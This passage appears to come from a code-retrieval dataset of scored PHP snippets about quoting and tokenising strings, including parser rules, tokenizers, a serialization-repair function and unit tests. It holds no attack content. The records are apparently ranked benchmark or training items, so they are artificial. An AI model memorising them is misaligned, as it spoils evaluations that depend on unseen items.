true;\r\n\t\telseif ($len > 1)\r\n\t\t{\r\n\t\t\twhile ($len > 1 and $token[$len-1] == '\"' and $token[$len-2] == '\"')\r\n\t\t\t{ // there is an escaped quote at the end\r\n\t\t\t\t$len -= 2; // strip the escaped quote at the end\r\n\t\t\t}\r\n\t\t\tif ($len == 0)\r\n\t\t\t\treturn false; // the string was only some escaped quotes\r\n\t\t\telseif ($token[$len-1] == '\"')\r\n\t\t\t\treturn true; // the last quote was not escaped\r\n\t\t\telse\r\n\t\t\t\treturn false; // was not ending with an unescaped quote\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "c559d547fec16c882692d70036209c3c", "score": "0.50339997", "text": "private function next_string() {\n $quote = $this->cmdstr[$this->pos];\n $this->pos ++;\n $str = $quote;\n while ($this->pos < $this->len ) {\n $chr = $this->cmdstr[$this->pos++];\n if ( $chr == '\\\\' ) {\n $str .= $chr . $this->cmdstr[$this->pos++];\n }\n else if ( $chr == $quote and $this->pos < $this->len and $this->cmdstr[$this->pos] == $quote ) {\n $str .= $chr . $this->cmdstr[$this->pos++];\n }\n else if ( $chr == $quote ) {\n $str .= $chr;\n break;\n }\n else {\n $str .= $chr;\n }\n }\n if ( $quote == '`' ) {\n return new Modyllic_Token_Ident_Quoted($this->pos,$str);\n }\n else {\n $token = new Modyllic_Token_String($this->pos,$str);\n // If we're followed by whitespace and a string, then concatenate the string\n if ( $this->peek_next(true) instanceOf Modyllic_Token_Whitespace ) {\n $ws = $this->next(true);\n if ( $this->peek_next(true) instanceOf Modyllic_Token_String ) {\n $token = new Modyllic_Token_String($this->pos, Modyllic_SQL::quote_str( $token->unquote() . $this->next(false)->unquote() ) );\n }\n else {\n $this->inject($ws);\n }\n }\n return $token;\n }\n }", "title": "" }, { "docid": "fa4dbf3570671bd3f3253ebb52f336ec", "score": "0.4928847", "text": "protected function postProcessQuotedValue($value)\n\t{\n\t\treturn $value;\n\t}", "title": "" }, { "docid": "c16dec535488007ecaaa9316c356f4e4", "score": "0.49169227", "text": "function yy_r52(){ $this->_retvalue = \"''\"; }", "title": "" }, { "docid": "8d108029de15c088a8c15e97b1f894b8", "score": "0.49089766", "text": "function yy_r189(){\n $this->_retvalue = \"''\";\n }", "title": "" }, { "docid": "f1b837385d2e530d7f7bcdcb9969d01b", "score": "0.48977852", "text": "function yy_r188(){\n $this->_retvalue = \"''\";\n }", "title": "" }, { "docid": "38629c9c34d38c98255ad84c504243a3", "score": "0.4894749", "text": "public function processQuotedSearch($ugc_str){\n\n $words = preg_split(\"/[\\s,]*\\\\\\\"([^\\\\\\\"]+)\\\\\\\"[\\s,]*|\" . \"[\\s,]*'([^']+)'[\\s,]*|\" . \"[\\s,]+/\", $ugc_str, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);\n\n //error_log('399 side bitch usr - '.sizeof($words));\n\n return $words;\n\n /*\n $search_expression = \"apple bear \\\"Tom Cruise\\\" or 'Mickey Mouse' another word\";\n\n ?>\n\n The result will be:\n Array\n (\n [0] => apple\n [1] => bear\n [2] => Tom Cruise\n [3] => or\n [4] => Mickey Mouse\n [5] => another\n [6] => word\n )\n\t * */\n }", "title": "" }, { "docid": "d7a55b74c39eb3dd4d643e0192eac7a9", "score": "0.48862725", "text": "function yy_r140(){$this->_retvalue = addcslashes($this->yystack[$this->yyidx + 0]->minor,\"'\"); }", "title": "" }, { "docid": "1d7921318f7c3237cfe8ee464c571aae", "score": "0.4881107", "text": "function yy_r78(){$this->_retvalue = '\\''.$this->yystack[$this->yyidx + 0]->minor.'\\''; }", "title": "" }, { "docid": "16e0edb4dffda1a64581d58feae47636", "score": "0.48562592", "text": "static function tokenize(&$str, $num=0)\n {\n $result = array();\n\n // remove spaces from the beginning of the string\n while (($str = ltrim($str)) !== ''\n && (!$num || $num === true || count($result) < $num)\n ) {\n switch ($str[0]) {\n\n // Quoted string\n case '\"':\n $len = strlen($str);\n\n for ($pos=1; $pos<$len; $pos++) {\n if ($str[$pos] == '\"') {\n break;\n }\n if ($str[$pos] == \"\\\\\") {\n if ($str[$pos + 1] == '\"' || $str[$pos + 1] == \"\\\\\") {\n $pos++;\n }\n }\n }\n if ($str[$pos] != '\"') {\n // error\n }\n // we need to strip slashes for a quoted string\n $result[] = stripslashes(substr($str, 1, $pos - 1));\n $str = substr($str, $pos + 1);\n break;\n\n // Parenthesized list\n case '[':\n $str = substr($str, 1);\n $result[] = self::tokenize($str, 0);\n break;\n case ']':\n $str = substr($str, 1);\n return $result;\n break;\n\n // list/test separator\n case ',':\n // command separator\n case ';':\n // block/tests-list\n case '(':\n case ')':\n case '{':\n case '}':\n $sep = $str[0];\n $str = substr($str, 1);\n if ($num === true) {\n $result[] = $sep;\n break 2;\n }\n break;\n\n // bracket-comment\n case '/':\n if ($str[1] == '*') {\n if ($end_pos = strpos($str, '*/')) {\n $str = substr($str, $end_pos + 2);\n }\n else {\n // error\n $str = '';\n }\n }\n break;\n\n // hash-comment\n case '#':\n if ($lf_pos = strpos($str, \"\\n\")) {\n $str = substr($str, $lf_pos);\n break;\n }\n else {\n $str = '';\n }\n\n // String atom\n default:\n // empty or one character\n if ($str === '' || $str === null) {\n break 2;\n }\n if (strlen($str) < 2) {\n $result[] = $str;\n $str = '';\n break;\n }\n\n // tag/identifier/number\n if (preg_match('/^([a-z0-9:_]+)/i', $str, $m)) {\n $str = substr($str, strlen($m[1]));\n\n if ($m[1] != 'text:') {\n $result[] = $m[1];\n }\n // multiline string\n else {\n // possible hash-comment after \"text:\"\n if (preg_match('/^( |\\t)*(#[^\\n]+)?\\n/', $str, $m)) {\n $str = substr($str, strlen($m[0]));\n }\n // get text until alone dot in a line\n if (preg_match('/^(.*)\\r?\\n\\.\\r?\\n/sU', $str, $m)) {\n $text = $m[1];\n // remove dot-stuffing\n $text = str_replace(\"\\n..\", \"\\n.\", $text);\n $str = substr($str, strlen($m[0]));\n }\n else {\n $text = '';\n }\n\n $result[] = $text;\n }\n }\n // fallback, skip one character as infinite loop prevention\n else {\n $str = substr($str, 1);\n }\n\n break;\n }\n }\n\n return $num === 1 ? (isset($result[0]) ? $result[0] : null) : $result;\n }", "title": "" }, { "docid": "d3526632285b73c75663b8c24e368ceb", "score": "0.4759133", "text": "function _endTest($test) /* protected */ {\n }", "title": "" }, { "docid": "6c2481c36a7f53071fdd54e8a61301d8", "score": "0.47437015", "text": "function yy_r133(){ $this->_retvalue = '\\''.$this->yystack[$this->yyidx + -2]->minor.'\\'=>'.$this->yystack[$this->yyidx + 0]->minor; }", "title": "" }, { "docid": "fe9db33c7186f5c3941c8dd1e224657d", "score": "0.47065166", "text": "function yy_r187(){\n $this->_retvalue = '\\''.$this->yystack[$this->yyidx + -2]->minor.'\\'=>'.$this->yystack[$this->yyidx + 0]->minor;\n }", "title": "" }, { "docid": "ae76cc7fc76a54f1ee088b5a493cf3d8", "score": "0.4703226", "text": "function preg_quote($str, $delim_char) {}", "title": "" }, { "docid": "a35facb5b73ce6d31c64d3b551b0fe78", "score": "0.4663444", "text": "public function testUnterminatedStringThrowsException()\n {\n $this->decoder->decode(\"6:stri\");\n }", "title": "" }, { "docid": "4ed8f7c26be7fc5121cc5af05d5dd373", "score": "0.4657019", "text": "public function testLog_FormatValueQuote()\n\t{\n\t $this->Log_Text->formatValue = '\"%s: %s\"';\n\t $this->Log_Text->quote = true;\n\n\t\t$this->Log_Text->log(\"This is a test\");\n\t\t$this->assertEquals('\"message: This is a test\"' . \"\\n\", $GLOBALS['__log']);\n\t \n\t\t$this->Log_Text->log('Yet another \"test\"', \"trick\");\n\t\t$this->assertEquals('\"message: This is a test\"' . \"\\n\" . '\"type: trick\" | \"message: Yet another \\\\\"test\\\\\"\"' . \"\\n\", $GLOBALS['__log']);\n\t}", "title": "" }, { "docid": "b7e41583bfec8e9ea54517fa5792b56a", "score": "0.4651981", "text": "function mSTRING_LITERAL2(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$STRING_LITERAL2;\n $_channel = Erfurt_Sparql_Parser_Sparql10_Sparql10_Tokenizer::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer.g:358:3: ( '\\\"' ( options {greedy=false; } : ~ ( '\\\\\\\"' | '\\\\\\\\' | '\\\\n' | '\\\\r' ) | ECHAR | UNICODE_CHAR )* '\\\"' ) \n // Tokenizer.g:359:3: '\\\"' ( options {greedy=false; } : ~ ( '\\\\\\\"' | '\\\\\\\\' | '\\\\n' | '\\\\r' ) | ECHAR | UNICODE_CHAR )* '\\\"' \n {\n $this->matchChar(34); \n // Tokenizer.g:360:3: ( options {greedy=false; } : ~ ( '\\\\\\\"' | '\\\\\\\\' | '\\\\n' | '\\\\r' ) | ECHAR | UNICODE_CHAR )* \n //loop19:\n do {\n $alt19=4;\n $LA19_0 = $this->input->LA(1);\n\n if ( ($LA19_0==$this->getToken('34')) ) {\n $alt19=4;\n }\n else if ( (($LA19_0>=$this->getToken('0') && $LA19_0<=$this->getToken('9'))||($LA19_0>=$this->getToken('11') && $LA19_0<=$this->getToken('12'))||($LA19_0>=$this->getToken('14') && $LA19_0<=$this->getToken('33'))||($LA19_0>=$this->getToken('35') && $LA19_0<=$this->getToken('91'))||($LA19_0>=$this->getToken('93') && $LA19_0<=$this->getToken('65535'))) ) {\n $alt19=1;\n }\n else if ( ($LA19_0==$this->getToken('92')) ) {\n $LA19_3 = $this->input->LA(2);\n\n if ( ($LA19_3==$this->getToken('34')||$LA19_3==$this->getToken('39')||$LA19_3==$this->getToken('92')||$LA19_3==$this->getToken('98')||$LA19_3==$this->getToken('102')||$LA19_3==$this->getToken('110')||$LA19_3==$this->getToken('114')||$LA19_3==$this->getToken('116')) ) {\n $alt19=2;\n }\n else if ( ($LA19_3==$this->getToken('117')) ) {\n $alt19=3;\n }\n\n\n }\n\n\n switch ($alt19) {\n \tcase 1 :\n \t // Tokenizer.g:361:5: ~ ( '\\\\\\\"' | '\\\\\\\\' | '\\\\n' | '\\\\r' ) \n \t {\n \t if ( ($this->input->LA(1)>=$this->getToken('0') && $this->input->LA(1)<=$this->getToken('9'))||($this->input->LA(1)>=$this->getToken('11') && $this->input->LA(1)<=$this->getToken('12'))||($this->input->LA(1)>=$this->getToken('14') && $this->input->LA(1)<=$this->getToken('33'))||($this->input->LA(1)>=$this->getToken('35') && $this->input->LA(1)<=$this->getToken('91'))||($this->input->LA(1)>=$this->getToken('93') && $this->input->LA(1)<=$this->getToken('65535')) ) {\n \t $this->input->consume();\n\n \t }\n \t else {\n \t $mse = new MismatchedSetException(null,$this->input);\n \t $this->recover($mse);\n \t throw $mse;}\n\n\n \t }\n \t break;\n \tcase 2 :\n \t // Tokenizer.g:369:1: ECHAR \n \t {\n \t $this->mECHAR(); \n\n \t }\n \t break;\n \tcase 3 :\n \t // Tokenizer.g:369:9: UNICODE_CHAR \n \t {\n \t $this->mUNICODE_CHAR(); \n\n \t }\n \t break;\n\n \tdefault :\n \t break 2;//loop19;\n }\n } while (true);\n\n $this->matchChar(34); \n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "478862a1bd2eee75a8ef583550a0ed6e", "score": "0.46347037", "text": "public function testQuote()\n {\n $actual = $this->_adapter->quote('\"foo\" bar \\'baz\\'');\n $this->assertEquals($actual, $this->_quote_expect);\n }", "title": "" }, { "docid": "ce61e96edb3f5dcefacac1820068c804", "score": "0.4630659", "text": "public function isEndToken($token) {\n return $token->type == PhpCssScannerToken::ATTRIBUTE_SELECTOR_END;\n }", "title": "" }, { "docid": "2c5290173e8fcc7e88268bbdc83ede71", "score": "0.46206394", "text": "function yy_r186(){\n $this->_retvalue = '\\''.$this->yystack[$this->yyidx + -2]->minor.'\\'=>'.$this->yystack[$this->yyidx + 0]->minor;\n }", "title": "" }, { "docid": "956cfa48435e1570ca4a48014649897d", "score": "0.4616216", "text": "abstract protected function quote(/*# string */ $str)/*# : string */;", "title": "" }, { "docid": "1f610f174c2a5a97cfe6fc579406f81b", "score": "0.46112618", "text": "#[@test, @expect('lang.IllegalArgumentException')]\n public function unterminatedFormatToken() {\n new PatternLayout('%');\n }", "title": "" }, { "docid": "78a4736494ea500e156e2aec5dec0ffd", "score": "0.4610065", "text": "function yy_r126(){$this->_retvalue = '||'; }", "title": "" }, { "docid": "a6a9971c95068747f1372a2c0669ddd7", "score": "0.45902008", "text": "function yy_r191(){\n $this->_retvalue = new _smarty_doublequoted($this, $this->yystack[$this->yyidx + 0]->minor);\n }", "title": "" }, { "docid": "fe5a14993479ac5e77790999ed685024", "score": "0.458131", "text": "function _evenNumberOfQuotes($text) {\n // This is the total number of single quotes in the token.\n $total_quotes = preg_match_all(\"/'/\", $text, $matches);\n // Counts single quotes that are preceded by an odd number of backslashes,\n // which means they're escaped quotes.\n $escaped_quotes = preg_match_all(\"/(?<!\\\\\\\\)(\\\\\\\\\\\\\\\\)*\\\\\\\\'/\", $text, $matches);\n \n $unescaped_quotes = $total_quotes - $escaped_quotes;\n // debug($total_quotes . \"-\" . $escaped_quotes . \"-\" . $unescaped_quotes);\n return (($unescaped_quotes % 2) == 0);\n }", "title": "" }, { "docid": "3aaf93bbbe494297fa4c3d49b4a09114", "score": "0.45642626", "text": "public function testEscape()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "e70fd333e7d5223f8d1fa4c3c41d74c8", "score": "0.45604002", "text": "public function testParse()\n {\n $source = array();\n $source[] = \"foo bar\";\n $source[] = \"Top-Level Header\";\n $source[] = \"================\";\n $source[] = \"baz dib\";\n $source = implode(\"\\n\", $source);\n \n $expect[] = \"foo bar\";\n $expect[] = $this->_token . \"\\n\";\n $expect[] = \"baz dib\";\n $expect = implode(\"\\n\", $expect);\n \n $actual = $this->_plugin->parse($source);\n $this->assertRegex($actual, \"@$expect@\");\n }", "title": "" }, { "docid": "ceda82a1efad46a745557522cb6b71e6", "score": "0.45594704", "text": "function yy_r179(){\n $this->_retvalue = '||';\n }", "title": "" }, { "docid": "3a2ee3aab4f5af7410b322585b385f51", "score": "0.45390195", "text": "public function testFetch()\n {\n $var = 'foo < bar > baz \" dib & zim ? gir';\n $expect = \"string(33) \\\"foo < bar > baz \\\" dib & zim ? gir\\\"\\n\";\n $actual = $this->_text->fetch($var);\n $this->assertSame($actual, $expect);\n }", "title": "" }, { "docid": "98b1df18f22088f8f6bedbe6fae8caeb", "score": "0.4530894", "text": "function testBackslashSmileyFail() {\n $this->P->addMode('smiley',new Doku_Parser_Mode_Smiley(array(':-\\\\\\\\')));\n $this->P->parse('abc:-\\\\\\xyz');\n\n $calls = array (\n array('document_start',array()),\n array('p_open',array()),\n array('cdata',array(\"\\nabc\".':-\\\\\\\\'.\"xyz\")),\n array('p_close',array()),\n array('document_end',array()),\n );\n\n $this->assertEquals(array_map('stripbyteindex',$this->H->calls),$calls);\n }", "title": "" }, { "docid": "3dbdda0a7ee3984736b5f873bf0f1dc8", "score": "0.45212582", "text": "public function testIsQuotedValue($value, $expectedResult)\n {\n $this->assertEquals($expectedResult, FlexModel::isQuotedValue($value));\n }", "title": "" }, { "docid": "58bd1ebcca0da4802ef7f608c99f86e6", "score": "0.45041698", "text": "public function testUnHtmlToken()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "2c9bebe3d962b0c492cb94dac08765bb", "score": "0.45023552", "text": "function yy_r141(){\n $this->_retvalue = '\\''.$this->yystack[$this->yyidx + 0]->minor.'\\'';\n }", "title": "" }, { "docid": "ee012ec5bf114c80ea2bd813ac0c68e5", "score": "0.44944015", "text": "function yy_r137(){$this->_retvalue = \"'.\".$this->yystack[$this->yyidx + -1]->minor.\".'\"; }", "title": "" }, { "docid": "6287cf244921c045adca4f9407f86a11", "score": "0.4492683", "text": "function parseChunk(&$str,$token)\n\t{\n\t\t$pos = strpos($str,$token);\n\t\tif($pos !== false){\n\t\t\tif($pos) $match = substr($str,0,$pos);\n\t\t\t\n\t\t\t$str = substr($str,$pos+strlen($token));\n\t\t\t\n\t\t\tif(!$pos) $match = $str;\n\t\t}else{\n\t\t\t$match = \"INVALID\";\n\t\t}\t\n\t\n\t\treturn $match;\n\t}", "title": "" }, { "docid": "269392ce35d4ab0da8187c50c51f81fa", "score": "0.44916302", "text": "public function testStripCodeAtEndOfLine($message, $result)\n {\n $this->assertSame($result, $this->stripper->strip($message));\n }", "title": "" }, { "docid": "bf8c5c2bc2ae97abfb4a3615f375aaec", "score": "0.4491471", "text": "static function pProcessStringElement(&$UnprocessedString, $StringType) {\r\n\t// If we can't extract a valid string value, we default to returning a\r\n\t// serialized empty string.\r\n\t\t$Result = \"\";\r\n\r\n\t// Array of recognised quote characters. Key is the opening character and\r\n\t// value is the closing character (which may not be the same).\r\n\t// As we are attempting to catch/fix errors, we don't restrict the range of\r\n\t// items we check for to just those that we expect based on the string type, but\r\n\t// instead always check for any of them.\r\n\t\t$arrRecognisedQuoteChars = array(\r\n\t\t\t\t\t\t\t\t\t// Standard quote character, normally used for\r\n\t\t\t\t\t\t\t\t\t// strings.\r\n\t\t\t\t\t\t\t\t\t\t'\"'\t=> '\"',\r\n\t\t\t\t\t\t\t\t\t// Brace character, used for custom object\r\n\t\t\t\t\t\t\t\t\t// serialisation, which has the format of a\r\n\t\t\t\t\t\t\t\t\t// string but with brace delimiters.\r\n\t\t\t\t\t\t\t\t\t\t\"{\"\t=> \"}\",\r\n\t\t\t\t\t\t\t\t\t// Other quote characters. I'm not sure how\r\n\t\t\t\t\t\t\t\t\t// these would ever occur, except by someone\r\n\t\t\t\t\t\t\t\t\t// manually editing the string and making a\r\n\t\t\t\t\t\t\t\t\t// mistake. However, we detect them anyway, why\r\n\t\t\t\t\t\t\t\t\t// not.\r\n\t\t\t\t\t\t\t\t\t\t\"'\" => \"'\",\r\n\t\t\t\t\t\t\t\t\t);\r\n\r\n\t// This variable specifies the character that we expect to follow the string\r\n\t// declaration in the input stream.\r\n\t\tif ($StringType == self::pSTRINGTYPE_Normal)\r\n\t\t\t$EndMarker = \";\";\r\n\t\telse\r\n\t\t\t$EndMarker = \":\";\r\n\r\n\t\t$ExpectedLength = self::pExtractLength($UnprocessedString);\r\n\r\n\t\tif ($ExpectedLength !== false) {\r\n\t\t// Extract the quote character that we expect to be present. We allow\r\n\t\t// for the unlikely event that a single-quote is used.\r\n\t\t\t$QuoteChar = self::substr($UnprocessedString, 0, 1);\r\n\t\t\tif (isset($arrRecognisedQuoteChars[$QuoteChar])) {\r\n\t\t\t\t$UnprocessedString = self::substr($UnprocessedString, 1);\r\n\r\n\t\t\t// Set expected closing quote, which may or may not differ from the\r\n\t\t\t// opening quote.\r\n\t\t\t\t$QuoteChar = $arrRecognisedQuoteChars[$QuoteChar];\r\n\r\n\t\t\t// Check for the very common case where the string is the only item\r\n\t\t\t// left in the input string.\r\n\t\t\t\tif (strlen($UnprocessedString) == ($ExpectedLength + 1)\r\n\t\t\t\t\t\t&& self::substr($UnprocessedString, -1) == $QuoteChar)\r\n\t\t\t\t{\r\n\t\t\t\t\t$Result = self::substr($UnprocessedString, 0, -1);\r\n\t\t\t\t\t$UnprocessedString = \"\";\r\n\t\t\t\t}\r\n\t\t\t// Another common case - where the string length matches the expected\r\n\t\t\t// length.\r\n\t\t\t// Note that it is theoretically possible for a string to be mangled in\r\n\t\t\t// such a way that this test incorrectly passes. However, I'm not sure\r\n\t\t\t// whether there is a better way of handling this than to simply assume\r\n\t\t\t// that what appears correct is actually correct.\r\n\t\t\t\telseif (self::substr($UnprocessedString, $ExpectedLength, 2)\r\n\t\t\t\t\t\t== $QuoteChar . $EndMarker)\r\n\t\t\t\t{\r\n\t\t\t\t\t$Result = self::substr($UnprocessedString, 0, $ExpectedLength);\r\n\t\t\t\t\t$UnprocessedString = self::substr($UnprocessedString,\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t $ExpectedLength + 2);\r\n\t\t\t\t}\r\n\t\t\t// Check for truncation. In this case the remainder of the input is the\r\n\t\t\t// contents of the string, excluding any closing quote mark that may be\r\n\t\t\t// present.\r\n\t\t\t\telseif (strlen($UnprocessedString) <= $ExpectedLength) {\r\n\t\t\t\t\t$Result = $UnprocessedString;\r\n\t\t\t\t\tif (self::substr($Result, -2) == $QuoteChar . $EndMarker)\r\n\t\t\t\t\t\t$Result = self::substr($Result, 0, -2);\r\n\t\t\t\t\telseif (self::substr($Result, -1) == $QuoteChar)\r\n\t\t\t\t\t\t$Result = self::substr($Result, 0, -1);\r\n\t\t\t\t\t$UnprocessedString = \"\";\r\n\t\t\t\t}\r\n\t\t\t// Check for valid strings that have had an encoding change that has\r\n\t\t\t// changed their length. This particular check only handles situations\r\n\t\t\t// where this is the final element.\r\n\t\t\t\telseif (self::substr($UnprocessedString, -2)\r\n\t\t\t\t\t\t== $QuoteChar . $EndMarker)\r\n\t\t\t\t{\r\n\t\t\t\t\t$Result = self::substr($UnprocessedString, 0, -2);\r\n\t\t\t\t\t$UnprocessedString = \"\";\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\t$NextQuotePos = strpos($UnprocessedString, $QuoteChar);\r\n\r\n\t\t\t\t// If the closing quote character is not in the string, the entire\r\n\t\t\t\t// rest of the input is treated as the result.\r\n\t\t\t\t\tif ($NextQuotePos === false) {\r\n\t\t\t\t\t\t$Result = $UnprocessedString;\r\n\t\t\t\t\t\t$UnprocessedString = \"\";\r\n\t\t\t\t\t}\r\n\t\t\t\t// If the closing quote is the final character in the string, then\r\n\t\t\t\t// the result is the contents of the defined string.\r\n\t\t\t\t\telseif ($NextQuotePos == (strlen($UnprocessedString) - 1)) {\r\n\t\t\t\t\t\t$Result = self::substr($UnprocessedString, 0, -1);\r\n\t\t\t\t\t\t$UnprocessedString = \"\";\r\n\t\t\t\t\t}\r\n\t\t\t\t// If we get to this point, then we have a mangled string, which\r\n\t\t\t\t// contains a closing quote but does not contain a closing-quote +\r\n\t\t\t\t// end-marker pair. The closing quote is not in the expected\r\n\t\t\t\t// location nor at the end of the string. In addition, there are\r\n\t\t\t\t// more characters remaining in the unprocessed string than we were\r\n\t\t\t\t// expecting in the string.\r\n\t\t\t\t// This is a combination of errors that is unlikely to occur in\r\n\t\t\t\t// practice.\r\n\t\t\t\t// For now we simply return the remainder of the input as the string\r\n\t\t\t\t// as until I understand better what scenarios could lead to this\r\n\t\t\t\t// situation it is not clear how better we could handle it.\r\n\t\t\t\t// TODO: Investigate the code paths in more detail to work out\r\n\t\t\t\t//\t\t when this could be hit, and therefore if there is a more\r\n\t\t\t\t//\t\t intelligent way of handling it.\r\n\t\t\t\t\telse {\r\n\t\t\t\t\t\t$Result = $UnprocessedString;\r\n\t\t\t\t\t\t$UnprocessedString = \"\";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t// If there was no opening quote, we look for the first instance of any\r\n\t\t// recognised closing quote followed by the expected end marker. If this is\r\n\t\t// found, we return everything up to that point. Otherwise, the entire rest\r\n\t\t// of the input is treated as the string value.\r\n\t\t\telse {\r\n\t\t\t\t$Regex = '/^(.*)[' . implode(\"\", $arrRecognisedQuoteChars)\r\n\t\t\t\t\t . ']' . $EndMarker . '/U';\r\n\t\t\t\tif (preg_match($Regex, $UnprocessedString, $arrMatches)) {\r\n\t\t\t\t\t$Result = $arrMatches[1];\r\n\t\t\t\t\t$UnprocessedString = self::substr($UnprocessedString,\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t strlen($Result) + 2);\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\t$Result = $UnprocessedString;\r\n\t\t\t\t\t$UnprocessedString = \"\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($StringType == self::pSTRINGTYPE_Normal) {\r\n\t\t\t$Result = serialize($Result);\r\n\t\t}\r\n\r\n\t\treturn $Result;\r\n\t}", "title": "" }, { "docid": "0e065d2e1791fc61568733e750d8a256", "score": "0.4491083", "text": "public function testWordsNoPunctuationInner(){\n $result = $this->pObj->getWords()[2];\n $expected = \"quotes\";\n $this->assertEquals($result, $expected);\n }", "title": "" }, { "docid": "3f15bf8b59a0109e5288a0a4f05837b7", "score": "0.44908404", "text": "abstract protected function processOutput(\\Gems_Tracker_Token $token);", "title": "" }, { "docid": "1be7333c00f448928baef1d854d006cf", "score": "0.44878346", "text": "function yy_r180(){\n $this->_retvalue = '||';\n }", "title": "" }, { "docid": "f5e7e40232dbc893088f0c18827dc2da", "score": "0.4487765", "text": "private function _string() {\n // @codingStandardsIgnoreEnd\n $token_type = $this->currentToken->getType();\n if (empty($this->parseTable['STRING'][$token_type])) {\n $this->error($this->parseTable['STRING']);\n }\n foreach ($this->parseTable['STRING'][$token_type] as $function) {\n $this->$function();\n }\n }", "title": "" }, { "docid": "32178c926d89b055d44da43d677fdd3f", "score": "0.4476841", "text": "protected function getNextToken()\n {\n $this->token = self::EOF;\n $this->tokenValue = null;\n $this->eatWhitespace();\n\n if ($this->offset >= $this->sourceLength) {\n return(self::EOF);\n }\n\n $str = $this->source;\n $strLength = $this->sourceLength;\n $i = $this->offset;\n $start = $i;\n\n switch ($str[$i]) {\n case '{':\n $this->token = self::LBRACE;\n break;\n case '}':\n $this->token = self::RBRACE;\n break;\n case '[':\n $this->token = self::LBRACKET;\n break;\n case ']':\n $this->token = self::RBRACKET;\n break;\n case ',':\n $this->token = self::COMMA;\n break;\n case ':':\n $this->token = self::COLON;\n break;\n case '\"':\n $result = '';\n do {\n $i++;\n if ($i >= $strLength) {\n break;\n }\n\n $chr = $str[$i];\n\n if ($chr === '\"') {\n break;\n }\n\n if ($chr !== '\\\\') {\n $result .= $chr;\n continue;\n }\n\n $i++;\n\n if ($i >= $strLength) {\n break;\n }\n\n $chr = $str[$i];\n switch ($chr) {\n case '\"':\n $result .= '\"';\n break;\n case '\\\\':\n $result .= '\\\\';\n break;\n case '/':\n $result .= '/';\n break;\n case 'b':\n $result .= \"\\x08\";\n break;\n case 'f':\n $result .= \"\\x0c\";\n break;\n case 'n':\n $result .= \"\\x0a\";\n break;\n case 'r':\n $result .= \"\\x0d\";\n break;\n case 't':\n $result .= \"\\x09\";\n break;\n case '\\'':\n $result .= '\\'';\n break;\n default:\n throw new RuntimeException(sprintf('Illegal escape sequence \"%s\"', $chr));\n }\n } while ($i < $strLength);\n\n $this->token = self::DATUM;\n $this->tokenValue = $result;\n break;\n case 't':\n if (($i + 3) < $strLength && $start === strpos($str, \"true\", $start)) {\n $this->token = self::DATUM;\n }\n $this->tokenValue = true;\n $i += 3;\n break;\n case 'f':\n if (($i + 4) < $strLength && $start === strpos($str, \"false\", $start)) {\n $this->token = self::DATUM;\n }\n $this->tokenValue = false;\n $i += 4;\n break;\n case 'n':\n if (($i + 3) < $strLength && $start === strpos($str, \"null\", $start)) {\n $this->token = self::DATUM;\n }\n $this->tokenValue = null;\n $i += 3;\n break;\n }\n\n if ($this->token !== self::EOF) {\n $this->offset = $i + 1; // Consume the last token character\n return ($this->token);\n }\n\n $chr = $str[$i];\n\n if ($chr !== '-' && $chr !== '.' && ($chr < '0' || $chr > '9')) {\n throw new RuntimeException('Illegal Token');\n }\n\n if (preg_match('/-?([0-9])*(\\.[0-9]*)?((e|E)((-|\\+)?)[0-9]+)?/s', $str, $matches, PREG_OFFSET_CAPTURE, $start)\n && $matches[0][1] == $start\n ) {\n $datum = $matches[0][0];\n\n if (! is_numeric($datum)) {\n throw new RuntimeException(sprintf('Illegal number format: %s', $datum));\n }\n\n if (preg_match('/^0\\d+$/', $datum)) {\n throw new RuntimeException(sprintf('Octal notation not supported by JSON (value: %o)', $datum));\n }\n\n $val = intval($datum);\n $fVal = floatval($datum);\n $this->tokenValue = ($val == $fVal ? $val : $fVal);\n\n $this->token = self::DATUM;\n $this->offset = $start + strlen($datum);\n }\n\n return $this->token;\n }", "title": "" }, { "docid": "56cea5993327f778f9794d5eebba471d", "score": "0.44679484", "text": "function yy_r13(){\n if ($this->lex->strip) {\n $this->_retvalue = new _smarty_text($this, preg_replace('![\\t ]*[\\r\\n]+[\\t ]*!', '', $this->yystack[$this->yyidx + 0]->minor));\n } else {\n $this->_retvalue = new _smarty_text($this, $this->yystack[$this->yyidx + 0]->minor);\n }\n }", "title": "" }, { "docid": "5a2bc8bdce5290040c0ab1300a317a0f", "score": "0.4445657", "text": "function yy_r125(){$this->_retvalue = '&&'; }", "title": "" }, { "docid": "e35b0e4221eb6db3bf1d1c04f33222ee", "score": "0.44420788", "text": "function yy_r192(){\n $this->_retvalue = new _smarty_doublequoted($this, $this->yystack[$this->yyidx + 0]->minor);\n }", "title": "" }, { "docid": "4cf00ebdfd8427a1b4044c2c857b81ad", "score": "0.4432486", "text": "protected function processDoubleQuotedString (File $phpcsFile, $stackPtr, $qtString)\n {\n // so there should be at least a single quote or a special char\n // if there are the 2 kinds of quote and no special char, then add a warning\n $has_variable = parent::processDoubleQuotedString($phpcsFile, $stackPtr, '\"'.$qtString.'\"');\n $has_specific_sequence = $this->_hasSpecificSequence($qtString);\n $dbl_qt_at = strpos($qtString, '\"');\n $smpl_qt_at = strpos($qtString, \"'\");\n if (false === $has_variable && false === $has_specific_sequence\n && false === $smpl_qt_at\n ) {\n $error = 'Single-quoted strings should be used unless it contains variables, special chars like \\n or single quotes.';\n $phpcsFile->addError($error, $stackPtr, 1982);\n } else if (false !== $smpl_qt_at && false !== $dbl_qt_at\n && false === $has_variable && false === $has_specific_sequence\n ) {\n $warning = 'It is encouraged to use a single-quoted string, since it doesn\\'t contain any variable nor special char though it mixes single and double quotes.';\n $phpcsFile->addWarning($warning, $stackPtr, 1982734);\n }\n }", "title": "" }, { "docid": 